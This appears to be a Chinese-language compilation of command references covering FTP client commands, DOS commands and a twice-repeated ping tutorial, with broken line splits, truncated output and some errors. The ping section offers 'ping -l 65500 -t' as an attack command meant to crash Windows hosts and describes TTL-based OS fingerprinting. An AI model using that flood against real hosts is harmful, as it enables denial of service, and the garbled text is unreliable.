执行交互shell,exit回到
ftp
环境,如:!ls*.zip 2.$ macro-ame[args]:执行宏定义macro-name。 3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。 4.append local-file[remote-file]:将本地
文件
追加到远程系统主机,若未指定远程系统
文件
名,则使用本地
文件
名。 5.ascii:使用ascii类型传输方式。 6.bell:每个
命令
执行完毕后计算机响铃一次。 7.bin:使用二进制
文件
传输方式。 8.bye:退出
ftp
会
话过程。 9.case:在使用mget时,将远程主机
文件
名
中
的大写转为小写字母。 10. cd remote-dir:进入远程主机
目录
。 11.cdup:进入远程主机
目录
的父
目录
。 12.chmod mode file-name:将远程主机
文件
file-name的存取方式设置为mode,如:chmod 777 a.out。 13.close:
中
断与远程服务器的
ftp
会
话(与open对应)。 14 .cr:使用asscii方式传输
文件
时,将回车换行转换为回行。 15.delete remote-file:删除远程主机
文件
。 16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条
命令
,如:deb up 3,若设为0,表示取消debug。 17.dir[remote-dir][local-file]:显示远程主机
目录
,并将结果存入本地
文件
。 18.disconnection:同close。 19.form format:将
文件
传输方式设置为format,缺省为file方式。 20.get remote-file[local-file]:将远程主机的
文件
remote-file
传至
本地硬盘的local-file。 21.glob:设置mdelete,mget,mput的
文件
名扩展,缺省时不扩展
文件
名,同
命令
行的-g参数。 22.hash:每传输1024字节,显示一个hash符号(#)。 23.help[cmd]:显示
ftp
内部
命令
cmd的帮助信息,如:help get。 24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作
目录
切换至dir。 27. ls[remote-dir][local-file]:显示远程
目录
remote-dir, 并存入本地
文件
local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机
文件
。 30.mdir remote-files local-file:与dir类似,但可指定多个远程
文件
,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程
文件
。 32.mkdir dir-name:在远程主机
中
建一
目录
。 33.mls remote-file local-file:同nlist,但可指定多个
文件
名。 34.mode[modename]:将
文件
传输方式设置为modename, 缺省为stream方式。 modtime file-name:显示远程主机
文件
的最后修改时间。 mput local-file:将多个
文件
传输至远程主机。 newer file-name:如果远程机
中
file-name的修改时间比本地硬盘同名
文件
的时间更近,则重传该
文件
。 38.nlist[remote-dir][local-file]:显示远程主机
目录
的
文件
清单,并存入本地硬盘的local-file。 39.nmap[inpattern outpattern]:设置
文件
名映射机制, 使得
文件
传输时,
文件
中
的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输
文件
a1.a2.a3时,
文件
名变为a1,a2。该
命令
特别适用于远程主机为非UNIX机的情况。 40.ntrans[inchars[outchars]]:设置
文件
名字符的翻译机制,如ntrans1R,则
文件
名LLL将变为RRR。 41.open host[port]:建立指定
ftp
服务器连接,可指定连接端口。 42.passive:进入被动传输方式。 43.prompt:设置多个
文件
传输时的交互提示。 44.proxy
ftp
-cmd:在次要控制连接
中
,执行一条
ftp
命令
, 该
命令
允许连接两个
ftp
服务器,以在两个服务器间传输
文件
。第一条
ftp
命令
必须为open,以首先建立两个服务器间的连接。 45.put local-file[remote-file]:将本地
文件
local-file传送至远程主机。 46.pwd:显示远程主机的当前工作
目录
。 47.quit:同bye,退出
ftp
会
话。 48.quote arg1,arg2...:将参数逐字发至远程
ftp
服务器,如:quote syst. 49.recv remote-file[local-file]:同get。 50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输
中
断处续传。 51.rhelp[cmd-name]:请求获得远程主机的帮助。 52.rstatus[file-name]:若未指定
文件
名,则显示远程主机的状态, 否则显示
文件
状态。 53.rename[from][to]:更改远程主机
文件
名。 54.reset:清除回答队列。 55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。 56.rmdir dir-name:删除远程主机
目录
。 57.runique:设置
文件
名只一性存储,若
文件
存在,则在原
文件
后加后缀.1, .2等。 58.send local-file[remote-file]:同put。 59.sendport:设置PORT
命令
的使用。 60.site arg1,arg2...:将参数作为SITE
命令
逐字发送至远程
ftp
主机。 61.size file-name:显示远程主机
文件
大小,如:site idle 7200。 62.status:显示当前
ftp
状态。 63.struct[struct-name]:将
文件
传输结构设置为struct-name, 缺省时使用stream结构。 64.sunique:将远程主机
文件
名存储设置为只一(与runique对应)。 65.system:显示远程主机的操作系统类型。 66.tenex:将
文件
传输类型设置为TENEX机的所需的类型。 67.tick:设置传输时的字节计数器。 68.trace:设置包跟踪。 69.type[type-name]:设置
文件
传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。 70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3 71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。 72.verbose:同
命令
行的-v参数,即设置详尽报告方式,
ftp
服务器的所有响 应都将显示给用户,缺省为on. 73.?[cmd]:同help.
windows实用dos
命令
大全
一)MD——建立子
目录
1.功能:创建新的子
目录
2.类型:内部
命令
3.格式:MD[盘符:][路径名]〈子
目录
名〉 4.使用说明: (1)“盘符”:指定要建立子
目录
的磁盘驱动器字母,若省略,则为当前驱动器; (2)“路径名”:要建立的子
目录
的上级
目录
名,若缺省则建在当前
目录
下。 例:(1)在C盘的根
目录
下创建名为FOX的子
目录
;(2)在FOX子
目录
下再创建USER子
目录
。 C:、>MD FOX (在当前驱动器C盘下创建子
目录
FOX) C:、>MD FOX 、USER (在FOX 子
目录
下再创建USER子
目录
) (二)CD——改变当前
目录
1.功能:显示当前
目录
2.类型:内部
命令
3.格式:CD[盘符:][路径名][子
目录
名] 4.使用说明: (1)如果省略路径和子
目录
名则显示当前
目录
; (2)如采用“CD、”格式,则退回到根
目录
; (3)如采用“CD.。”格式则退回到上一级
目录
。 例:(1)进入到USER子
目录
;(2)从USER子
目录
退回到子
目录
;(3)返回到根
目录
。 C:、>CD FOX 、USER(进入FOX子
目录
下的USER子
目录
) C:、FOX、USER>CD.。 (退回上一级根
目录
) C:、FOX>CD、 (返回到根
目录
) C:、> (三)RD——删除子
目录
命令
1.功能:从指定的磁盘删除了
目录
。 2.类型:内部
命令
3.格式:RD[盘符:][路径名][子
目录
名] 4.使用说明: (1)子
目录
在删除前必须是空的,也就是说需要先进入该子
目录
,使用DEL(删除
文件
的
命令
)将其子
目录
下的
文件
删空,然后再退回到上一级
目录
,用RD
命令
删除该了
目录
本身; (2)不能删除根
目录
和当前
目录
。 例:要求把C盘FOX子
目录
下的USER子
目录
删除,操作如下: 第一步:先将USER子
目录
下的
文件
删空; C、>DEL C:、FOX、USER、*。* 第二步,删除USER子
目录
。 C、>RD C:、FOX、USER (四)DIR——显示磁盘
目录
命令
1.功能:显示磁盘
目录
的内容。 2.类型:内部
命令
3.格式:DIR [盘符][路径][/P][/W] 4. 使用说明:/P的使用;当欲查看的
目录
太多,无法在一屏显示完屏幕
会
一直往上卷,不容易看清,加上/P参数后,屏幕上
会
分面一次显示23行的
文件
信息,然后暂停,并提示;Press any key to continue /W的使用:加上/W只显示
文件
名,至于
文件
大小及建立的日期和时间则都省略。加上参数后,每行可以显示五个
文件
名。 PATH——路径设置
命令
1.功能:设备可执行
文件
的搜索路径,只对
文件
有效。 2.类型:内部
命令
3.格式:PATH[盘符1]
目录
[路径名1]{[;盘符2:],〈
目录
路径名2〉…} 4.使用说明: (1)当运行一个可执行
文件
时,DOS
会
先在当前
目录
中
搜索该
文件
,若找到则运行之;若找不到该
文件
,则根据PATH
命令
所设置的路径,顺序逐条地到
目录
中
搜索该
文件
; (2)PATH
命令
中
的路径,若有两条以上,各路径之间以一个分号“;”隔开; (3)PATH
命令
有三种使用方法: PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行
文件
的搜索路径) PATH:(取消所有路径) PATH:(显示目前所设的路径) (六)TREE——显示磁盘
目录
结构
命令
1.功能:显示指定驱动器上所有
目录
路径和这些
目录
下的所有
文件
名。 2.类型:外部
命令
3.格式:TREE[盘符:][/F][》PRN] 4.使用说明: (1)使用/F参数时显示所有
目录
及
目录
下的所有
文件
,省略时,只显示
目录
,不显示
目录
下的
文件
; (2)选用>PRN参数时,则把所列
目录
及
目录
中
的
文件
名打印输出。 (七)DELTREE——删除整个
目录
命令
1.功能:将整个
目录
及其下属子
目录
和
文件
删除。 2.类型:外部
命令
3.格式:DELTREE[盘符:]〈路径名〉 4.使用说明:该
命令
可以一步就将
目录
及其下的所有
文件
、子
目录
、更下层的子
目录
一并删除,而且不管
文件
的属性为隐藏、系统或只读,只要该
文件
位于删除的
目录
之下,DELTREE都一视同仁,照删不误。使用时务必小心!!! 五、磁盘操作类
命令
(一)formAT——磁盘格式化
命令
1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立
目录
区和
文件
分配表,使磁盘作好接收DOS的准备。 2.类型:外部
命令
3.格式:formAT〈盘符:〉[/S][/4][/Q] 4.使用说明: (1)
命令
后的盘符不可缺省,若对硬盘进行格式化,则
会
如下列提示:WARNING:ALL DATA ON NON ——REMOVABLE DISK DRIVE C:WILL BE LOST ! Proceed with format (Y/N)? (警告:所有数据在C盘上,将
会
丢失,确实要继续格式化吗?) (2)若是对软盘进行格式化,则
会
如下提示:Insert mew diskette for drive A; and press ENTER when ready… (在A驱
中
插入新盘,准备好后按回车键)。 (3)选用[/S]参数,将把DOS系统
文件
IO.SYS 、MSDOS.SYS及COMMAND.COM复制到磁盘上,使该磁盘可以做为DOS启动盘。若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘; (4)选用[/4]参数,在1.2MB的高密度软驱
中
格式化360KB的低密度盘; (5)选用[/Q]参数,快速格式化,这个参数并不
会
重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根
目录
、
文件
分配表以及引导扇区清成空白,因此,格式化的速度较快。 (6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。不加/U,则为安全格式化,这时先建立一个镜象
文件
保存原来的FAT表和根
目录
,必要时可用UNFORRMAT恢复原来的数据。 (二)UNformAT恢复格式化
命令
1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。 2.类型:外部
命令
3.格式:UNformAT〈盘符〉[/L][/U][/P][/TEST] 4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。根
目录
下被删除的
文件
或子
目录
及磁盘的系统扇区(包括FAT、根
目录
、BOOT扇区及硬盘分区表)受损时,也可以用UNformAT来抢救。 (1)选用/L参数列出找到的子
目录
名称、
文件
名称、大孝日期等信息,但不
会
真的做formAT工作。 (2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。运行时屏幕
会
显示:“Print out will be sent to LPT1” (3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。使用此参数屏幕
会
显示:“Simulation only” (4)选用/U参数不使用MIRROR映像
文件
的数据,直接根据磁盘现状进行UNformAT。 (5)选用/PSRTN;修复硬盘分区表。 若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNformAT
会
“假设”此时磁盘没有MIRROR映像
文件
。 注意:UNformAT对于刚formAT的磁盘,可以完全恢复,但formAT后若做了其它数据的写入,则UNformAT就不能完整的救回数据了。UNformAT并非是万能的,由于使用UNformAT
会
重建FAT与根
目录
,所以它也具有较高的危险性,操作不当可能
会
扩大损失,如果仅误删了几个
文件
或子
目录
,只需要利用UNDELETE就够了。 三) CHKDSK——检查磁盘当前状态
命令
1.功能:显示磁盘状态、内存状态和指定路径下指定
文件
的不连续数目。 2.类型:外部
命令
3.格式:CHKDSK [盘符:][路径][
文件
名][/F][/V] 4.使用说明: (1)选用[
文件
名]参数,则显示该
文件
占用磁盘的情况; (2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误; (3)选用[/V]参数,显示盘上的所有
文件
和路径。 (四)DISKCOPY——整盘复制
命令
1.功能:复制格式和内容完全相同的软盘。 2.类型:外部
命令
3.格式:DISKCOPY[盘符1:][盘符2:] 4.使用说明: (1)如果目标软盘没有格式化,则复制时系统自动选进行格式化。 (2)如果目标软盘上原有
文件
,则复制后将全部丢失。 (3)如果是单驱动器复制,系统
会
提示适时更换源盘和目标盘,请操作时注意分清源盘和目标盘。 (五)LABEL——建立磁盘卷标
命令
1.功能:建立、更改、删除磁盘卷标。 2.类型:外部
命令
3.格式:LABEL[盘符:][卷标名] 4.使用说明: (1)卷标名为要建立的卷标名,若缺省此参数,则系统提示键入卷标名或询问是否删除原有的卷标名; (2)卷标名由1至11个字符组成。 (六)VOL——显示磁盘卷标
命令
1.功能:查看磁盘卷标号。 2.类型:内部
命令
3.格式:VOL[盘符:] 4.使用说明:省略盘符,显示当前驱动器卷标。 (七)SCANDISK——检测、修复磁盘
命令
1.功能:检测磁盘的FAT表、
目录
结构、
文件
系统等是否有问题,并可将检测出的问题加以修复。 2.类型:外部
命令
3.格式:SCANDISK[盘符1:]{[盘符2:]…}[/ALL] 4.使用说明: (1)CCANDISK适用于硬盘和软盘,可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘; (2)可自动检测出磁盘
中
所发生的交叉连接、丢失簇和
目录
结构等逻辑上的错误,并加以修复。 (八)DEFRAG——重整磁盘
命令
1.。功能:整理磁盘,消除磁盘碎块。 2.类型:外部
命令
3.格式:DEFRAG[盘符:][/F] 4.使用说明:选用/F参数,将
文件
中
存在盘上的碎片消除,并调整磁盘
文件
的安排,确保
文件
之间毫无空隙。从而加快读盘速度和节省磁盘空间。 (九)SYS——系统复制
命令
1.功能:将当前驱动器上的DOS系统
文件
IO.SYS,MSDOS.SYS和COMMAND.COM 传送到指定的驱动器上。 2.类型:外部
命令
3.格式:SYS[盘符:] *使用说明:如果磁盘剩余空间不足以存放系统
文件
,则提示:No roomfor on destination disk.
文件
操作类
命令
(一) COPY
文件
复制
命令
1.功能:拷贝一个或多个
文件
到指定盘上。 2.类型:内部
命令
3.格式:COPY [源盘][路径]〈源
文件
名〉[目标盘][路径][目标
文件
名] 4.使用说明: (1)COPY是
文件
对
文件
的方式复制数据,复制前目标盘必须已经格式化; (2)复制过程
中
,目标盘上相同
文件
名称的旧
文件
会
被源
文件
取代; (3)复制
文件
时,必须先确定目标般有足够的空间,否则
会
出现;insufficient的错误信息,提示磁盘空间不够; (4)
文件
名
中
允许使用通配举“*”“?”,可同时复制多个
文件
; (5)COPY
命令
中
源
文件
名必须指出,不可以省略。 (6)复制时,目标
文件
名可以与源
文件
名相同,称作“同名拷贝”此时目标
文件
名可以省略; (7)复制时,目标
文件
名也可以与源
文件
名不相同,称作“异名拷贝”,此时,目标
文件
名不能省略; (8)复制时,还可以将几个
文件
合并为一个
文件
,称为“合并拷贝”,格式如下:COPY;[源盘][路径]〈源
文件
名1〉〈源
文件
名2〉…[目标盘][路径]〈目标
文件
名〉; (9)利用COPY
命令
,还可以从键盘上输入数据建立
文件
,格式如下:COPY CON [盘符:][路径]〈
文件
名〉; (10)注意:COPY
命令
的使用格式,源
文件
名与目标
文件
名之间必须有空格! (二)XCOPY——
目录
复制
命令
1.功能:复制指定的
目录
和
目录
下的所有
文件
连同
目录
结构。 2.类型:外部
命令
3.格式:XCOPY [源盘:]〈源路径名〉[目标盘符:][目标路径名][/S][/V][/E] 4.使用说明: (1)XCOPY是COPY的扩展,可以把指定的
目录
连
文件
和
目录
结构一并拷贝,但不能拷贝隐藏
文件
和系统
文件
; (2)使用时源盘符、源目标路径名、源
文件
名至少指定一个; (3)选用/S时对源
目录
下及其子
目录
下的所有
文件
进行COPY。除非指定/E参数,否则/S不
会
拷贝空
目录
,若不指定/S参数,则XCOPY只拷贝源
目录
本身的
文件
,而不涉及其下的子
目录
; (4)选用/V参数时,对的拷贝的扇区都进行较验,但速度
会
降低。 (三)TYPE——显示
文件
内容
命令
1.功能:显示ASCII码
文件
的内容。 2.类型:内部
命令
。 3.格式:TYPE[盘符:][路径]〈
文件
名〉 4.使用说明: (1)显示由ASCII码组成的文本
文件
,对。EXE.COM等为扩展名的
文件
,其显示的内容是无法阅读的,没有实际意义2; (2)该
命令
一次只可以显示一个
文件
的内容,不能使用通配符; (3)如果
文件
有扩展名,则必须将扩展名写上; (4)当
文件
较长,一屏显示不下时,可以按以下格式显示;TYPE[盘符:][路径]〈
文件
名〉|MORE,MORE为分屏显示
命令
,使用些参数后当满屏时
会
暂停,按任意键
会
继续显示。 (5)若需将
文件
内容打印出来,可用如下格式: TYPE[盘符:][路径]〈
文件
名〉,>PRN 此时,打印机应处于联机状态。 (四) REN——
文件
改名
命令
1.功能:更改
文件
名称 2.类型:内部
命令
3.格式:REN[盘符:][路径]〈旧
文件
名〉〈新
文件
名〉 4.使用说明: (1)新
文件
名前不可以加上盘符和路径,因为该
命令
只能对同一盘上的
文件
更换
文件
名; (2)允许使用通配符更改一组
文件
名或扩展名。 (五)FC——
文件
比较
命令
1.功能:比较
文件
的异同,并列出差异处。 2.类型:外部
命令
3.格式:FC[盘符:][路径名]〈
文件
名〉[盘符:][路径名][
文件
名][/A][/B][/C][/N] 4.使用说明: (1)选用/A参数,为ASCII码比较模式; (2)选用/B参数,为二进制比较模式; (3)选用/C参数,将大小写字符看成是相同的字符。 (4)选用/N参数,在ASCII码比较方式下,显示相异处的行号。 (六)ATTRIB——修改
文件
属性
命令
1.功能:修改指定
文件
的属性。(
文件
属性参见2.5.4(二)
文件
属性一节) 2.类型:外部
命令
。 3.格式:ATTRIB[
文件
名][R][——R][A][——A][H][——H][——S] 4.使用说明: (1)选用R参数,将指定
文件
设为只读属性,使得该
文件
只能读取,无法写入数据或删除;选用——R参数,去除只读属性; (2)选用A参数,将
文件
设置为档案属性;选用——A参数,去除档案属性; (3)选用H参数,将
文件
调协为隐含属性;选用——H参数,去隐含属性; (4)选用S参数,将
文件
设置为系统属性;选用——S参数,去除系统属性; (5)选用/S参数,对当前
目录
下的所有子
目录
及作设置。 七) DEL——删除
文件
命令
1.功能:删除指定的
文件
。 2.类型:内部
命令
3.格式:DEL[盘符:][路径]〈
文件
名〉[/P] 4.使用说明: (1)选用/P参数,系统在删除前询问是否真要删除该
文件
,若不使用这个参数,则自动删除; (2)该
命令
不能删除属性为隐含或只读的
文件
; (3)在
文件
名称
中
可以使用通配符; (4)若要删除磁盘上的所有
文件
(DEL*·*或DEL·),则
会
提示:(Arey ou sure?)(你确定吗?)若回答Y,则进行删除,回答N,则取消此次删除作业。 (八) UNDELETE——恢复删除
命令
1.功能:恢复被误删除
命令
2.类型:外部
命令
。 3.格式:UNDELETE[盘符:][路径名]〈
文件
名〉[/DOS]/LIST][/ALL] 4.使用说明:使用UNDELETE可以使用“*”和“?”通配符。 (1)选用/DOS参数根据
目录
里残留的记录来恢复
文件
。由于
文件
被删除时,
目录
所记载斩
文件
名第一个字符
会
被改为E5,DOS即依据
文件
开头的E5和其后续的字符来找到欲恢复的
文件
,所以,UNDELETE
会
要求用户输入一个字符,以便将
文件
名字补齐。但此字符不必和原来的一样,只需符合DOS的
文件
名规则即可。 (2)选用/LIST只“列出”符合指定条件的
文件
而不做恢复,所以对磁盘内容完全不
会
有影响。 (3)选用/ALL自动将可完全恢复的
文件
完全恢复,而不一一地询问用户,使用此参数时,若UNDELTE利用
目录
里残留的记录来将
文件
恢复,则
会
自动选一个字符将
文件
名补齐,并且使其不与现存
文件
名相同,选用字符的优选顺序为:#%——0000123456789A~Z。 UNDELETE还具有建立
文件
的防护措施的功能,已超出本课程授课范围,请读者在使用些功能时查阅有关DOS手册。 七、其它
命令
(一)CLS——清屏幕
命令
1功能:清除屏幕上的所有显示,光标置于屏幕左上角。 2类型:内部
命令
3格式:CLS (二) VER查看系统版本号
命令
1功能:显示当前系统版本号 2类型:内部
命令
3格式:VER (三) DATA日期设置
命令
1功能:设置或显示系统日期。 2类型:内部
命令
3格式:DATE[mm——dd——yy] 4使用说明: (1)省略[mm——dd——yy]显示系统日期并提示输入新的日期,不修改则可直接按回车键,[mm——dd——yy]为“月月——日日——年年”格式; (2)当
机器
开始启动时,有自动处理
文件
(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。 (四) TIME系统时钟设置
命令
1功能:设置或显示系统时期。 2类型:内部
命令
3格式:TIME[hh:mm:ss:xx] 4使用说明: (1)省略[hh:mm:ss:xx],显示系统时间并提示输入新的时间,不修改则可直接按回车键,[hh:mm:ss:xx]为“小时:分钟:秒:百分之几秒”格式; (2)当
机器
开始启动时,有自动处理
文件
(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。 (五)MEM查看当前内存状况
命令
1功能:显示当前内存使用的情况 2类型:外部
命令
3格式:MEM[/C][/F][/M][/P] 4使用说明: (1)选用/C参数列出装入常规内存和CMB的各
文件
的长度,同时也显示内存空间的使用状况和最大的可用空间; (2)选用/F参数分别列出当前常规内存剩余的字节大小和UMB可用的区域及大小; (3)选用/M参数显示该模块使用内存地地址、大小及模块性质; (4)选用/P参数指定当输出超过一屏时,暂停供用户查看。 (六) MSD显示系统信息
命令
1功能:显示系统的硬件和操作系统的状况。 2类型:外部
命令
3格式:MSD[/I][/B][/S] 4使用说明: (1)选用/I参数时,不检测硬件; (2)选用/B参数时,以黑白方式启动MSD; (3)选用/S参数时,显示出简明的系统报告。 ping
命令
详解 对于Windows下ping
命令
相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。 现在我就参照ping
命令
的帮助说明来给大家说说我使用ping时
会
用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用: ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-wz timeout] destination-list Options: -t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C. 不停的ping地方主机,直到你按下Control-C。 此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。 -a Resolve addresses to hostnames. 解析计算机NetBios名。 示例:C:\>ping -a 192.168.1.21 Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data: Reply from 192.168.1.21: bytes=32 time<10ms TTL=254 Reply from 192.168.1.21: bytes=32 time<10ms TTL=254 Reply from 192.168.1.21: bytes=32 time<10ms TTL=254 Reply from 192.168.1.21: bytes=32 timeping -n 50 202.103.96.68 Pinging 202.103.96.68 with 32 bytes of data: Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Request timed out. ……………… Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Ping statistics for 202.103.96.68: Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds: Minimum = 40ms, Maximum = 51ms, Average = 46ms 从以上我就可以知道在给202.103.96.68发送50个数据包的过程当
中
,返回了48个,其
中
有两个由于未知原因丢失,这48个数据包当
中
返回速度最快为40ms,最慢为51ms,平均速度为46ms。 -l size Send buffer size. 定义echo数据包大小。 在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人
会
问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的
命令
:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人
机器
上,否则后果自负) C:\>ping -l 65500 -t 192.168.1.21 Pinging 192.168.1.21 with 65500 bytes of data: Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254 Reply from 192.168.1.21: bytes=65500 timeping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由) Pinging 202.96.105.101 with 32 bytes of data: Reply from 202.96.105.101: bytes=32 time=10ms TTL=249 Route: 202.107.208.187 -> 202.107.210.214 -> 61.153.112.70 -> 61.153.112.89 -> 202.96.105.149 -> 202.96.105.97 -> 202.96.105.101 -> 202.96.105.150 -> 61.153.112.90 Ping statistics for 202.96.105.101: Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 10ms, Maximum = 10ms, Average = 10ms 从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。 -s count Timestamp for count hops. 指定 count 指定的跃点数的时间戳。 此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。 -j host-list Loose source route along host-list. 利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被
中
间网关分隔(路由稀疏源)IP 允许的最大数量为 9。 -k host-list Strict source route along host-list. 利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被
中
间网关分隔(路由严格源)IP 允许的最大数量为 9。 -w timeout Timeout in milliseconds to wait for each reply. 指定超时间隔,单位为毫秒。 此参数没有什么其他技巧。 ping
命令
的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters] "DefaultTTL"=dword:000000ff 255---FF 128---80 64----40 32----20 好了,ping
命令
也基本上完全讲解完了,其
中
还有-j,-k参数我还没有详细说明,由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍,请大家见谅,如果在看了这篇文章的朋友当
中
有知道得比我更多的,以及其他使用技巧的也希望您能告诉我,并在此先谢过。 对于Windows下ping
命令
相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。 现在我就参照ping
命令
的帮助说明来给大家说说我使用ping时
会
用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用: ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-w timeout] destination-list Options: -t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C. 不停的ping地方主机,直到你按下Control-C。 此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。 -a Resolve addresses to hostnames. 解析计算机NetBios名。 示例:C:\>ping -a 192.168.1.21 Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data: Reply from 192.168.1.21: bytes=32 time<10ms TTL=254 Reply from 192.168.1.21: bytes=32 time<10ms TTL=254 Reply from 192.168.1.21: bytes=32 time<10ms TTL=254 Reply from 192.168.1.21: bytes=32 timeping -n 50 202.103.96.68 Pinging 202.103.96.68 with 32 bytes of data: Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Request timed out. ……………… Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Reply from 202.103.96.68: bytes=32 time=50ms TTL=241 Ping statistics for 202.103.96.68: Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds: Minimum = 40ms, Maximum = 51ms, Average = 46ms 从以上我就可以知道在给202.103.96.68发送50个数据包的过程当
中
,返回了48个,其
中
有两个由于未知原因丢失,这48个数据包当
中
返回速度最快为40ms,最慢为51ms,平均速度为46ms。 -l size Send buffer size. 定义echo数据包大小。 在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人
会
问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的
命令
:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人
机器
上,否则后果自负) C:\>ping -l 65500 -t 192.168.1.21 Pinging 192.168.1.21 with 65500 bytes of data: Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254 Reply from 192.168.1.21: bytes=65500 timeping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由) Pinging 202.96.105.101 with 32 bytes of data: Reply from 202.96.105.101: bytes=32 time=10ms TTL=249 Route: 202.107.208.187 -> 202.107.210.214 -> 61.153.112.70 -> 61.153.112.89 -> 202.96.105.149 -> 202.96.105.97 -> 202.96.105.101 -> 202.96.105.150 -> 61.153.112.90 Ping statistics for 202.96.105.101: Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 10ms, Maximum = 10ms, Average = 10ms 从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。 -s count Timestamp for count hops. 指定 count 指定的跃点数的时间戳。 此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。 -j host-list Loose source route along host-list. 利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被
中
